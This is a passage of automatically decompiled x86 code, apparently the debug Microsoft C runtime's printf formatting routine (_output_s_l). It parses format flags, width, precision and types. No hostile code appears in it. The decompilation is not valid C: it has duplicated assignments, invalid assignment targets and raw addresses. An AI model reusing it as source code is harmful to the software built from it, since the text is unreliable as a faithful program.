																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435410))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E004310C0( *(_t699 - 0x251) & 0x000000ff, E0041ACF0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435520( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00435520( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E220();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422D10(_t614))) = 0x16;
																									E00422AA0(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041ACC0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435448; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435430))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435470; // 0x4c7e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043545C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E220();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D10(_t616))) = 0x16;
																						E00422AA0(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041ACC0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BB60(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E220();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041ACC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422D10(_t603))) = 0x16;
																				E00422AA0(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041ACC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E004355C0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E00435600( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E004355C0(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E00435600( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E004340D0(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435600( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E004355C0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x4b3bc1ec
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x4b248c6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x4b24956c
																							E00424560(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428200(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428240(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428200(__ebp + 0x14);
																			if(E00433DB0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E220();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																				__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
